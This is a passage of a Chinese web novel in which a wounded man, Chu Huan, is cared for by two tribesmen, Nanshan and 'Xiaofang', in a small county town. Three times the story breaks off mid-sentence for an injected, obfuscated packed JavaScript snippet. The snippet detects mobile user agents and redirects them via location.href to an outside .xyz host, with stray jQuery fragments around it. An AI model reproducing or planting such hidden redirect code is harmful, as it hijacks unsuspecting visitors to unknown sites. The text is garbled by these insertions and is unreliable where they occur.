这回对方终于明白了,开口发出了一个古怪的音,不是单音,也不像汉语,听起来像唱歌,带着奇特的韵律,尾音近似于汉语的“安”。 褚桓:“什么安?” 长发帅哥抬起头,对墙角正在熬药的“小芳”招招手,小芳立刻训练有素地出去把手洗干净了,片刻后,以一种焚香斋戒般慎重的态度取来一个小木盒,毕恭毕敬,双手递到了长发帅哥手里。 长发帅哥捧着木盒,在褚桓对面的椅子上端坐了下来,他坐得笔直,自有一番“坐如钟”的气度。 只见木盒色泽古朴,四角还镶边,雕工虽然不怎么样,但是十分舍得下料,包得都是纯金,大俗即大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088620|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅,大块的包金与旧木盒相映成辉,很有一番古拙的意味。 木盒打开,里面装着个布包,裹着某种东西,里三层外三层的,褚桓不由自主地正色了些,以为这里面有什么绝世珍宝。 结果就见这位长得很帅的兄弟从中摸出了一本……呃,一“把”破破烂烂的新华字典。 真的是“一把”字典,因为它已经完全不成本了,甫一露面,封皮先掉了,皱巴巴的书脊摇摇欲坠地挂在那,被主人小心翼翼地伸手拢住,褚桓眼尖,看见那饱经风霜的封皮上写着“1971重修版本”几个字。 亲娘,这还是改革开放前的产物呢。 长发帅哥翻开字典,里面“拼音索引”的一部分已经不翼而飞——不过以这些仁兄的口条来讲,显然,拼音这玩意也不是很用得上——他一笔一划、一丝不苟地在部首索引中找到了“十”,又花了接近两分钟的时间,才笨拙地翻到了想找的页码,把“南”字指给了褚桓看。 他话说不清楚,居然还认识几个字,可见学的是“哑巴汉语”。 褚桓:“南?” 帅哥抬起头,目光灼灼地看了他一眼。 褚桓不自在地移开视线,心想:“说话就好好说话,没事抛什么媚眼?” 而后,帅哥又认认真真地数了笔画,翻到了“山”字边,轻轻地点了点自己的胸口。 褚桓:“山,南山?” “南山”两个字一落,对面的帅哥就毫无缘由地开心了起来,好像被叫一声名字是世界上最幸福的事,而他开心的结果,就是又拿出了那个味道诡异的酒罐子,先给自己倒了一杯,继而在褚桓莫名沉痛的目光下,热情洋溢地拿过他的杯子,加满了。 “瞎叫什么?就显得你认识字吗?”褚桓悲痛地想,“我那张嘴可真欠啊。” 然后他痛快地跟美男碰了一次杯,屏住呼吸,豪迈地一饮而尽了。 又一口生血般的口感。 但是这第二杯酒下去,褚桓冰冷的胸口就开始升起了融融的暖流,先开始是小小的一团,随后那股暖意缓慢地在他全身游走起来,有效地缓解了他伤口传来的阵阵疼痛。 他微微活动了一下肩膀,发现这包扎虽然造型差了点,但是很有效,至少肩上的枪伤已经不流血了,肩膀也松快了好多。 一般像枪伤或者严重的刀伤这种敏感的伤口,哪怕是到了医院里,医生都要好一番盘问,通常还会报警,而这么两个萍水相逢的男人不怕他是歹徒,还施手救了他一回……别管用了什么方法,褚桓不能不感谢。 褚桓和南山道了谢,他说话的时候,南山听得极其全神贯注,仿佛他是在谛听仙音。 南山应该是学过一点汉语,如果别人说得慢一点、用词简单一点,他就能听懂个七七八八,还认识一些字,只是无论是发音还是识字,水平都有点半吊子,写大概是写不出的,只能通过一些偏旁部首查到个差不多的字,磕磕绊绊地跟褚桓交流。 弄明白他的谢意,南山先是用他那种宛如歌唱的声音说了句什么,他的声音低沉婉转,好听得要命,就是说的话像外星话,褚桓欣赏了一会,连一个标点符号也没懂。 南山可能也意识到自己这话说得有点让人费解,他摇头自嘲,翻开了他的宝贝字典,以一种极端没有效率的方法,一个字一个字地翻出来指给褚桓看。 褚桓认真分辨,只见他指的字是“你”“走”“运”“路”“到”“我”“们”“这”“危”“脸”“我”“们”“应”“感”“射”“你”。 褚桓:“……” 一大/波错别字奔涌而来,冲得重伤的褚桓两眼一抹黑。 “四舅姥爷的,”他想,“这还怎么一起玩耍?” 8. 现世 他们花了半个多小时,经过了无数轮“你来比划我来猜”,始终处于鸡同鸭讲的状态。 说得口干舌燥了,就暂且休息,俩人无计可施地相对而坐,大眼瞪小眼,南山就会给他倒一杯酒——这已经成了沟通感情的唯一方法。 这样润润喉咙,喝完再来比划。 褚桓渐渐习惯了酒里的腥味,从中品出了些许野性的醇香来,最后他自己也不记得这样一碗一碗的喝了多少,反正是开始上头了,他在微醺的状态里往床头上一靠,观赏小芳如何领衔表演一番上蹿下跳的哑剧。 只见这汉子气沉丹田,横跨马步,大叫一声,双手展开,做出一个拦路的样子。 褚桓困惑地想了想:“站住?不许动?此路不通?” 南山大笑,小芳泄气地摇摇头,接着,他双手并拢,垂手腕,十分有节奏地晃了晃。 褚桓还以为这个自己看懂了,恍然大悟:“骑马!” 南山把他的话转述给小芳听,把那位仁兄气得亮出嗓子哇哇大叫了几声,忽闪着铁锤大的拳头,看样子很想把褚桓的脑浆砸出来好好洗一洗。 褚桓苦笑着摸摸鼻子:“……总不能是江南style吧?” 南山出声制止了小芳,以防他自己把自己气死,褚桓发现这帅哥说话十分管用,只一开口,不忿的小芳立刻就令行禁止地闭了嘴。 小芳困兽一样怒气冲冲地在原地转了几圈,依然不肯放弃,过了一会,他站定,伸出一只大熊掌,立在自己面前,然后挥起蒲扇一般的巴掌,来回扇动。 褚桓:“呃……” 其他两个人期盼地看着他。 褚桓略微有些牙疼:“那个……大耳光子扇一打?” 这位长着美丽大眼与长辫子的兄弟看来是没有一个表演细胞,不过上天给他开了另外一扇窗——就他的表演来看,褚桓感觉他应该是打家劫舍的一把好手。 褚桓讪笑一下:“这位朋友叫什么名字?” 小芳不懂,南山代他回答了一个名字,在褚桓听来,那就是一串漫长而动听的乱码。 他这才明白,“南山”很可能是某个会说汉语的人替他起的,人家本族的名字听起来还要更曲折离奇一些。 见褚桓神色游移,南山就热情地讲解了这个名字是什么意思,他笑容灿烂地翻开字典,指了指一边的长辫汉子,竖了竖拇指表达赞赏,而后赞赏地把“凶猛的毛猴”这五个血淋淋的大字摊在褚桓面前。 褚桓:“……” 那个啥,“凶猛的毛猴”是他们那边奇特的审美文化,还是帅哥又查错字了? 直到褚桓三口一干杯地喝空了南山的第一坛酒,他才摸到一点与对方沟通的门道。 “你是说,你昨天在车站接的人,是要到你们族里教课的支教老师吗?”褚桓问。 “老师”两个字一出口,南山的眼睛顿时就亮了,里面好像落了两颗小金乌,褚桓觉得自己被少数民族兄弟的自酿酒灌醉了,他让那双眼睛晃得直晕。 南山麻利地在字典里找到了“老”“帅”两个字,他甚至没有从部首查起,一翻就到,对这两个字比对自己的名字还要熟悉。 ……当然,熟悉不代表就是对的。 “是老师,不是老帅。”褚桓纠正,他伸出手,本想把那本字典拿过来指给对方看,忽而想起了人家对待字典那郑重其事的态度。 褚桓心里嘀咕:“别是有什么神附在这玩意上了吧?” 他觉得自己有点唐突,于是动作一顿,把伸出了几厘米的手又给缩了回来。 他伸手又缩手的动作不过尺寸之间,南山却看懂了,他立刻双手捧起那把鸡零狗碎的字典,进贡似地捧到褚桓面前,热情洋溢地险些戳了褚桓鼻子,整套动作如同献上了一条圣洁的哈达。 褚桓只好接过,翻到“师”字,指给他看:“这个,老师的师。” 南山:“老……师。” “别,”褚桓干咳一声,“不敢当。” 南山不明白什么叫“不敢当”,他虔诚地抓住了褚桓的手,动作飞快,褚桓整个人一僵,愣是没躲开。 南山握着他的拳头,先是在自己的胸口上轻轻捶打了几下,而后闭上眼睛,低下头,轻轻地用额头碰着褚桓的手指。 褚桓又嗅到了那股若有若无的桂花香,当即觉得自己是醉得有点糊涂了。 褚桓:“哎——等等等,不不不不,你……你先别激动。” 也不知道是谁比较激动。 褚桓险些咬了自己的舌头,心跳不由自主地快了几分,用了个巧劲,不着痕迹地挣脱南山。 “我,”他指了指自己,配合上简单的手势,尽可能地把话说的清晰明了,“不是你要找的人。” 南山一愣。 旁边的小芳也不知道发生了什么事,这人不凶神恶煞的时候,还显得怪憨厚的,他抓了抓茅草一样的乱发,看着褚桓的表情有些眼巴巴的。 南山对他说了句什么,小芳听了睁大了眼睛,凑到褚桓跟前,伸手在空中画了一个长方形,又攥起拳头做滚动状,而后用两根手指交替,模拟人走路的样子,最后指了指褚桓,伸出了一根手指。 这次褚桓终于精准的接收到了他的信息。 小芳说的是:昨天从车上下来的只有你一个人。 褚桓用力掐了掐眉心,仔细回忆了一番,头天上车的时候,车上有几十号人,他下意识地把每一个人都扫了一眼,此刻稍稍一想,每个人的特征还都在他脑子里。 乘客中,有搭车返乡的进城务工人员,有去临近的乡镇探亲的,还有背着行李送孩子去途径的县城里读书的……嗯,还有一个人。 褚桓想起来了,那是个戴眼镜的青年,细皮嫩肉,看得出不是体力工作者,他记得那个年轻人的行李箱很大很沉,看样子是要出远门,并且打算住上一阵的样子。 那青年上车很早,却偏偏坐在了最不舒服的侧座上,应该是为了不让自己的手离开行李,他身上带着很少出远门的人那种特有的紧张,而每到一站,青年都会伸长了脖子往外张望站牌,不像走亲访友,应该是第一次到这个地方。 哦,楮桓记得他手里还捧着一本小学三年级的语文课本。 应该是他。 到了终点站,褚桓就没见过那个青年了,想来大概是年轻人在半路上深刻体会了什么叫穷乡僻壤,感受到了梦想和现实之间的巨大鸿沟,一时打了退堂鼓,在中途下车跑了。 “你说的那个人,我可能……”褚桓话音一顿,他看着南山期盼的表情,忽然就不忍心了。 这对于褚桓而言,又是个不怎么熟悉的感受,无论是中二时期四处惹是生非,还是他后来沉潜下来一路腥风血雨,褚桓都没有对谁不忍心过,可是到了这里,他居然硬是把心里的话来回斟酌了两三遍,搜肠刮肚也没找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088621|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一个委婉些、又能让对方理解的说辞。 一时间竟显得有些吞吞吐吐。 好一会,褚桓放缓了声音,近乎轻柔地说:“我可能遇见过你们等的老师,嗯……他个子不高,拿着一本小学生教材——小学生,就是孩子,这么高满地跑的那种,教材就是书,书你知道吧?像你拿的这个一样的——就是给孩子看的书。” 南山吃力地听懂了他的意思,皱了皱眉。 褚桓:“但是下车的时候没再看见他,我猜他可能是中途遇上了什么事,临时改了目的地……” 南山的表情一下子黯淡了下去。 小芳听不懂是怎么回事,看看这个又看看那个,急得脸都涨红了。 褚桓立刻改口:“不过说不定他只是晚点过来,可能过几天就……” 他的安慰是徒劳的,不知道南山听懂了多少。 南山忽然叹了口气,微微抬起头,半阖上眼睛,俊秀的面孔显露出坚硬的线条,他像一块固守而又孤独的石像。 他好一会一言不发,褚桓却感觉到了那种沉重的失落。 不需要语言传达。 “我……我这不好。”南山轻声说,“不来。” 他的学习能力让褚桓惊异——方才南山用字典找字的时候,由于错处太多,褚桓为了便于交流,会把他指到的每个字都念出来,没想到一转眼,他竟然就记住了大半,读音模仿得像模像样,这句话虽然说得不大连贯,用词也精简得让人发指,但褚桓确实听懂了。 褚桓犹豫了一下,提醒说:“其实如果需要老师,你们可以找自己的行政人员,就类似村长、族长的这些人,让他们向县里提交申请,每年都有支教大学生报名的……” 这话说完,褚桓自己都觉得对方肯定听不明白,但又一时不知道该怎么解释清楚一点。 南山却勉强一笑,摇了摇头:“不好,不喜欢来。” 说完,南山站了起来,伸手为褚桓拢了拢被子,又把他的眼镜和换下来的衣服取过来,放在床边便于取放的地方,衣服上的血迹已经被清理干净了,而他随身的东西——军刺和枪都还别在原来的地方,连随身的迷你救生包都原封不动地躺在他的兜里,对方仿佛没有碰过。 褚桓:“南山……” 南山伸出一根食指,打住了他的话音,把熬好的草药端过来递给他。 那时绿油油黏糊糊的一碗,卖相十分险恶,可是褚桓自己也不明白为什么,他居然二话没说,接过来就喝光了。 南山扶着他躺下,而后又走到窗边,拿出了一片叶子,叶笛的小调再次响起,这一回听起来没有那么欢快了,却也没有多怨念多沉重,只是尾音悠长,显得有一点寂寞。 褚桓以为自己会睡不着,连只猫走过来都能惊醒他,别说屋里有两个大活人,可在那叶笛声中,他莫名地感到一阵疲惫的放松,不知不觉中,就已经昏昏沉沉地迷糊了过去。 误会看来是解释清楚了,等他再醒来地时候,那两个人差不多也应该已经走了吧? 他真的还想再听一次之前那让人心情愉悦的叶笛小调。 半睡半醒的时候,褚桓心里忽然冒出了一个念头:要么我跟他们走得了。 随即,他又觉得这想法是异想天开——去偏远少数民族地区教汉语?专业也不对口啊。 “肯定是酒喝多了。”他把自己所有失态的缘由都一言以蔽之了。 9. 现世 可是第二天,褚桓依然是在草药的味道中醒来的。 小芳——尽管得知了他的真名叫做“凶猛的毛猴”,但是褚桓个人觉得还是“小芳”俩字简洁易懂又形象——这位朋友虽然依然动不动就对他做怒目金刚状,却一大早就起来,挥汗如雨地蹲在地上熬药。 眼下已经是可以穿风衣的季节了,而小芳整天近乎光着膀子,居然还能这么的热,这让褚桓有点费解。 是这位朋友的火力壮得异于常人么? 褚桓侧身用没受伤那一边的肩膀把自己撑了起来,从宿醉中清醒,他没有感觉到不适和头疼,可见南山那酒虽然乍一入口味道诡异,但肯定是好酒。 然而只是这微微的一动,他原本惫懒放松的神色突然一凝。 有道说“人在江湖漂哪能不挨刀”,先挨揍后揍人,这是客观事物的发展规律,因此褚桓不敢说自己有多大本事,但绝对是个挨刀挨枪子的专业户,小到子弹擦伤,大到“三刀六洞”,他全都挨得经验十足。 什么程度的伤,怎么养,养多长时间能好到哪种程度,这些褚桓都是再清楚不过的,像他身上这种对穿的枪伤,头两天不恶化不感染,其实就已经算是保养得不错了。 可是此时,仅仅隔了一夜,他那新鲜的伤口竟然已经隐约开始结痂了。 且不说随着年龄的增长,长期压抑的心情和不良的生活习惯,他的身体素质只会越来越差——就算在他的全盛时期,他也没有过这么恐怖的恢复能力。 简直像是局部的细胞活性被极大的增强了。 他们给他用的什么药? 灿烂的晨曦中,褚桓心里涌出了无数个念头,常年与各种跨国亡命徒打交道的工作经历,让他当时的第一反应就是毒品。 绑在伤口上的树叶,还有他喝下去的草药,那都包含了什么成分? 他会不会把镇痛的作用误当成来了伤口在愈合? 这时,南山端着一个盆子走过来,充满活力地对褚桓打了招呼。 褚桓心中虽然疑虑重重,但是不动声色地应了,他往南山的盆子里看了一眼,只见里面用半盆清水泡着几根巴掌宽、两尺多长的大叶子——就和他伤口上包扎的一样。 南山单膝跪在他的床沿,弯下腰,小心翼翼地解开褚桓头天包在伤口的叶子,不对比不知道,也许是脱水的缘故,从褚桓身上拆下来的叶子已经明显发干黯淡了,仿佛生命力被吸走了。 叶片上有一处黏着他一点血肉,南山把叶子剥下来的时候不注意牵扯了一下,褚桓虽然一声没吭,身体却剧烈地颤抖了一下。 疼——是真疼,但疼是好的,起码代表他没有被什么麻醉。 南山注意到了他的反应,摊开掌心,贴在了他的额头上,似乎是进行某种安抚,接着,南山掏出了一个小瓶子,倒出了一小把雪白的粉末,看起来像面粉,比普通的白面粉还要白一些,带着某种特别的气味。 腥,褚桓想了想,感觉那味道是介于“血腥”和“植物的土腥”中间的味道。 不等褚桓观察仔细,南山就把药粉糊在了他的伤口上。 那不知名的粉末带来的剧痛真是非比寻常,比直接浇辣椒水还让人欲/仙/欲/死,褚桓觉得好像有人把长刺探进了他的伤口里,又重新搅动了一遍。 不过他有“上药肯定是疼的”这个心理预期,因此这次连哆嗦也没有,只是本能地绷紧了肌肉,咬牙扛了过来。 对于这样硬骨头的表现,南山抬起头看着他赞赏地笑了一下,对他说了句话,听起来和小芳的本名发音十分接近。 褚桓判断这句赞扬地意思很可能也是“凶猛的毛X”。 他面有菜色地接受了对方的赞赏,同时心怀忧郁的想:“可千万别是凶猛的毛驴啊。” 奇迹般的,他胸中的疑虑虽然还在,但戒备已经去了大半。 疼痛的不掺假是一方面,另一方面,褚桓冥冥中似乎有种直觉,让他不肯相信南山是坏人。 招待所里的标间只有两张床,挤两个瘦小些的女孩子勉强可以,两个汉子是万万睡不下的,小芳就把电视柜上的电视搬到了一边,褚桓看见他在上面铺了一张草席,枕着一个酒坛子睡了一宿,很有世外高人的范儿。 南山很自然地帮他裹好伤口,又花了几分钟,给他削了一根可以短暂地充当拐杖的木棍,便于他走动,在褚桓收拾停当后,拿出了几个饼子分给他吃。 那是粗粮的饼,有发面的也有死面的,看得出来是几天前做的,又干又硬,像古代人出门才会随身携带的干粮,口感十分的丧心病狂。 不知名却极有效的药粉让褚桓对他的来历充满了猜测,因此粗粮杂面饼也吃得格外细致,他想从中尝出一些神秘的成分来。 结果南山还以为是饼太硬他不好咬,立刻细心地给他倒了一杯酒,在褚桓莫名其妙偶的目光中,示范性地揪下了一块饼皮在里面泡了泡,再拿出来递给他。 褚桓:“……” 他感谢了南山的关心,默不作声地接过来吃了,好生体会了一下口感从“丧心病狂”到“惨绝人寰”的全过程。 简单的早饭中,褚桓开始了和对方磕磕绊绊的交流,他先是比比划划地问:“你们是要在这再等几天吗?等那个老师来。” 南山摇摇头,表示那个人不会来了。 他表达得依然很艰难,神色有一点落寞,但是坦然,像是已经不再挂怀的样子。 褚桓:“那你们什么时候走?” 南山表示:等你伤好。 褚桓一开始怀疑是不畅的沟通让自己误解了人家的意思,他迟疑万分地重复了一回自己的问题,南山伸出手掌,在自己的肩头和腿上拍了拍,而后双手合拢,做了一个仿佛是“愈合”的手势。 褚桓怔住了。 他很想多问一句为什么,自己来历不明,身上还带着枪伤,而对方只是与他萍水相逢。认错人也就算了,现在对方明明知道了,还要因为照顾一个陌生人而停留吗? 不过他终于没有问,总觉得这种问题问出口,就好像在怀疑别人的用心一样。 那么他怀疑吗? 褚桓不怀疑是不可能的,因为他就是干这个的,对他来说,疏忽大意是愚蠢的同义词,他得时刻对周围的环境保持谨慎的审视和一波三折的质疑。 只不过当他看见南山那双澄澈的眼睛时,就忍不住对自己怀里的这一点质疑产生了自惭形秽的感觉,因此遮掩得很严密。 于是褚桓沉默了片刻:“那我中午请你们吃饭吧——对了,没事我可以多教你说几句普通话,你能给我多吹两段昨天的曲子吗?” 南山请人吃东西喝酒的时候很大方,被人邀请也不矫情,中午跟小芳一边一个,欣然地架着褚桓出了招待所。 小县城是来往旅客歇脚的中转站,放眼望去,一排为旅游团提供猪食团餐的小饭馆,长得都像是一个妈生的,唯独街角一家洋快餐店特立独行,门口挂着的英文店名分外鹤立鸡群。 当然,走近了一看,发现字母是汉语拼音。 角落里还注明了拼音的内容“肯当鸡”。 褚桓在牌子下驻足良久,断定此乃麦当劳、肯德基和重庆鸡公煲玩3P玩出来的娃。 不过“肯当鸡”这志向……是不是也有点太远大了? 他滚下山崖的时候,通讯设备就掉的掉、坏的坏,直到此时,褚桓才终于花了五毛钱,借饭店的电话打给了老王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088622|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,痛痛快快地听了老王一顿臭骂,权当是来自前世丈人的爱的洗礼,而后拒绝了老王派人来接他的建议。 “住几天我就自己回去,这边环境挺好的,我就当旅游了。” 老王没有就此和他纠缠,只是沉默了一会,问:“你刚才说你当时是怎么掉下去的?” 褚桓面不改色:“失足。” 老王:“……不扯淡能死吗?” “真是失足,不过现在已经改造好了。”褚桓轻轻地笑了一声,“那社么,回去别忘了替我这个失足青年问小璐好,说好了,将来孩子生出来可得管我叫舅舅。” 老王的女儿小名就是小璐,两年前嫁了个摄影师,现在就快生小孩了。 褚桓回想起来,发现自己整个青春期净顾着为了她掐架了,掐得乌眼鸡一样,却居然没有一次主动约她出来看场电影,吃个冰激凌什么的,连情书这么脍炙人口的东西都没有写过,简直是为了掐而掐,为了打架而打架。 舍本逐末得有点自作多情,显得可笑得……近乎可爱。 “走了,再见。”他对老王说。 “肯当鸡”卖发面饼和炸鸡,在褚桓天真地问“有没有薯条——就是炸土豆”的时候,老板娘转身去厨房给他端了一碗跟大土豆块一起蒸熟的二米饭,伸手抓了一把粗盐粒,往上一洒,豪迈地说:“吃去吧。” 褚桓:“……” 不过虽然山寨,食物质量却出乎意料得还可以,发面饼白胖得酥软,炸鸡黄澄澄的,远远就能闻到一股奇异的肉香。 小芳先开始对褚桓是十足的不耐烦,甚至有些敌意,头天一起喝酒的时候,这种敌意已经消弭了一半,炸鸡端上来的时候,褚桓看得出来,这位凶猛的毛猴是打算要跟自己化敌为友了。 他本人却没什么胃口,褚桓摸遍了全身,翻出了仅剩地小半包烟,跟老板娘借了个火,临窗抽了一根,坐回去的时候,南山却突然抬手抵住了他的胸口。 褚桓一愣,只见南山用食指关节轻轻地在他肺部的位置敲了敲,严肃地看着他,颇为不赞同地摇了摇头。 接着,南山缩回手,给褚桓递过来一个鸡腿。 褚桓不由自主地盯着他看了一会,他发现南山吃东西的时候,全神贯注得就好像在处理一件非常神圣的大事,一个渣都不浪费。 吃饭——对于褚桓而言,只是维持生命的基本行为,他不知自己什么时候丧失了食欲,好吃与不好吃对他而言没什么区别,咬不动的干瘪杂粮饼和色香味俱全的大餐,在他眼里都一样,三口解决,全部是味同嚼蜡。 但是此时他看着南山,忽然产生了某种“吃饭是一件特别幸福的事”的错觉,他试探地低头咬了一口,感觉也没有什么不同,就是普通的鸡肉而已。 于是褚桓忍不住又看了南山一眼,再一次被那种无与伦比的幸福感闪了一下。 “有那么好吃?”褚桓心想,不由自主地放慢了速度,把飘散得四处都是的精神集中回了手里这个被咬了一口的鸡腿上。 这样,褚桓看一眼南山,吃一口东西,慢慢的,他麻木而不灵活的味蕾逐渐苏醒,居然真的尝出了滋味。 三个人很快把两大盘摞起来冒尖的炸鸡一扫而空,褚桓后知后觉地发现,自己居然吃撑了。 他结完账,回头看了一眼南山那平静中透着心满意足的表情,不知怎么的,居然也产生了一点被同化的愉快。 不过……等等,音乐能愉悦身心也就算了,看着人家下饭又算怎么回事? 秀色可餐吗? 褚桓颇为尴尬地转了转指间的戒指,让“逗你玩”仨字磨砺着他手指根的皮肤,面色淡定、内心充满谴责地想:“不好,我这样怪猥琐的。” 10. 现世 县城就是个放屁能砸脚后跟的地方,小得一眼能从开头望见结尾。 他们从“肯当鸡”里出来,不可避免地再次经过了褚桓来时的汽车站,此时正是中午,客流量达到了当地的高峰,好几个戴着小红帽的导游正拿着大喇叭呼唤各自的游客跟上。 游客们像一群怎么也赶不到一起的羊群,一下车就自由散开,有疲惫地跟着走的,有四处找厕所的,还有对着县城崎岖的道路拍照的。 唔,不知道这穷乡僻壤有什么好拍的,这可能是个游客特有的仪式。 南山和小芳被这么多人震撼了,自觉地避让道路。 什么叫“幅员辽阔,人口众多”?浅尝辄止地让这俩来自大山的孩子看个冰山一角,估计就够他们长一年份的见识了。 南山怕人碰到褚桓,自觉地站在前面挡住他,同时好奇地指着游客问:“做什么的?” 褚桓看见人多就烦,但是面对南山,他没把心里的烦带出来,只是懒洋洋地说:“旅游。” 南山和小芳一同望向他,两双眼睛里是如出一辙的好奇和不明所以。 褚桓:“……就是从远处跑来玩的,爬山——就那种山,爬上去玩。” 还是不明白——大山人民可能想象不出,爬个山而已,干嘛要这种阵仗。 褚桓顿了顿,选择了更加通俗易懂的方式,他慢吞吞地抬起一只手,做出往嘴里扒拉的动作:“吃——” 然后他回手拍了拍小芳的肚子:“饱了——” 最后褚桓手掌一拢,做了个“很多”的手势:“撑的。” 南山和小芳恍然大悟,用艳羡加上一点不可思议的目光打量着过往的人群。 这时,一个姑娘走到他们附近,手里拿着一个“立拍得”,她拍了一只蹲在路边晒太阳的看门狗。 “喀嚓”一声把褚桓身边俩人的注意力都吸引了过去,片刻,成像的相纸被吐了出来,小姑娘捏在手里来回扇动了一会,狗照片就清晰了,她跑回去拿给自己的同伴看,南山他们俩人一直目送着她的背影。 随后,小芳震惊地走上前去,弯腰观察地上的狗,狗抬头看了这赤膊的汉子一眼,淡定地冲他摇摇尾巴,表示自己还活着,没有被贴在纸片上带走,乡巴佬们大可以不必太担心。 小芳立刻屁颠屁颠地跑回来,哇啦哇啦地冲南山报告他发现的新大陆,报告得兴高采烈,手舞足蹈。 褚桓的目光就落在了南山的图腾上,看得出那是一只凶兽,他不是民俗专家,不知道这是哪一族的崇拜,也从来没有见过这样的图案。 从小芳对南山的态度来看,这个长发的帅哥似乎在他们当地有着很高的地位,很可能是族长或者族长的亲戚。 褚桓知道,除了通常意义上的五十六个民族,国内其实还有一些由于种种原因无法统计识别少数民族,南山他们可能是其中一员。 他问过南山他们是什么族,得到了一个无法用汉字对应的回答,发音上近似汉语的“离衣”,比汉语发音稍微复杂一些。“离衣族”这个名称到底有什么意思,南山本人不知是不太清楚,还是不方便回答,只给了他一个似是而非的解释,好像是什么“守山人”之类。 南山懂一些汉语,认识的字比会说的话多,有钱,知道怎么买东西,知道钱的面值,可见并不是与外界毫无交流的,然而这种交流一定并不深、也并不普遍,反正在这么一个小小的边陲县城里,他看什么都新鲜,又仿佛是为了维持某种形象,不能像小芳一样上蹿下跳地四处围观,眼神里却总是充满跃跃欲试的好奇。 是因为交通不便,所以不常出门吗? 还有他们带来的奇怪的草药——特别是那种白色的药粉,如果真的能刺激细胞活性,流传到外面,该有多少人为之疯狂? 这时,南山回过头来,递给褚桓一只手,示意他扶着自己,用不熟悉的汉语生硬地说:“河这边好。” 褚桓忍不住偏头看了他一眼,“河这边”是什么意思? 接着,南山想起了什么,忽然低头一笑:“要是我们那的孩子……小学生也来这里,就好了。” 褚桓对他说过“小学生”就是“孩子”,他立刻记住了这两个词,尽管理解上可能有一些偏差。南山说这话的时候没什么埋怨,只是仿佛怀着某种遥不可及的憧憬,因为够不着,而显得有一点羡慕。 如果他埋怨,褚桓大概会十分理解,但毕竟是别人的事,理解完了,他也不大会触动。 可是南山那一点小小的羡慕却不知道怎么的,好像一把钝钝的小刻刀,在褚桓心上不轻不重地划了一下,褚桓心里第二次冒出那个念头:“他只是想找一个能教汉语的人而已,怎么那么难?要么我去得了。” 这念头一闪而过,褚桓的目光扫过熙攘的人群和停满了大巴的车站,再一次暗自摇了摇头,心想:“想什么呢?” 他还有很多事要做,小鬼被捕,他怎么也要跟完小鬼的审讯吧? 怎么也要听一听完整的供词,看看那些人是个什么下场吧? 他还想回去以后找个靠得住地医生看一看,调整一下状态,如果可能的话,再回去工作…… 他还想看看小璐生的是男孩还是女孩。 一想起这些事,褚桓那飘到天边地臆想就被沉甸甸地压在了原地,他看了南山一眼,拍拍他的肩膀:“在这里等我一会。” 说完,他拄着自己的简易拐杖,往游客的方向走去。 南山一愣,不放心,立刻跟了上去,但是他听明白了褚桓那句“在这等”,于是以为他有什么事要办,没有跟得很紧,只是不远不近地缀在后面,看着褚桓走到方才拿立拍得的小姑娘面前,低着头跟她说着什么。 别人说话,南山觉得自己不应该走得太近,于是等在了路边,忽然,他看见了一个人正低着头跪在路口,面前铺开一张大纸,上面写满了字。 这是干什么的? 他不了解,其实稍微热闹点的地方都有这种人,一般是有手有脚的青壮年人或者穿着校服的学生,面前摆着一张纸,上书自己出远门遇见小偷,或者求学无门云云,坐地要钱。 南山就走过去,以一种近乎于研究的态度蹲下来,逐字逐句、仔细地默读了骗子编的故事,看完了理由,又看到最后的“求二十元做路费”,他就默默地从兜里摸出一把有零有整的人民币,仔仔细细地核对了面值后,抽出了一张二十块钱的,并没有扔在对方的碗里,而是伸长了胳膊递了过去。 骗子是个男青年,呆呆地看了面前这个从打扮到行为无不怪胎的男人,犹豫了一下,有那么一瞬间,几乎差点要良心发现。 不过作为一个有职业操守的骗子,他的良心始终是有限的,那人仅仅是一顿,就坦然地道谢接了过来。 褚桓从小姑娘那里把立拍得买了下来,他颇有沟通交流的技能,花钱又不吝啬,最后姑娘还把剩下的一盒半相纸送给了他。 他买完一回头,就看见了南山递钱的这一幕,顿时有点发愁。 这位朋友这性格好像充满了圣母光辉,很有些佛光普照的意思,长了一副灵气四溢的皮相,怎么好像有点缺心眼呢? 褚桓有点担心他一不小心就会被人拐卖。 他冲南山挥挥手,南山一侧头,褚桓就以熙攘的小县城湛蓝的天光作为背景,拍到了他那一瞬间有些惊讶的表情。 褚桓把相片和买来的相机一起送给了南山。 南山差点被吓着,这东西对他来说,显然比1971年版本的新华字典还要稀罕,他脸上忽然蹿起一层很薄的红,有些手足无措地收下后,一路都在偷偷瞟着褚桓。 褚桓故作不知,拖着伤腿拄着拐杖走在前面,可能是伤口又疼又痒的缘故,褚桓觉得自己走得有些发飘。 南山他们和褚桓在招待所里住了一个多礼拜。 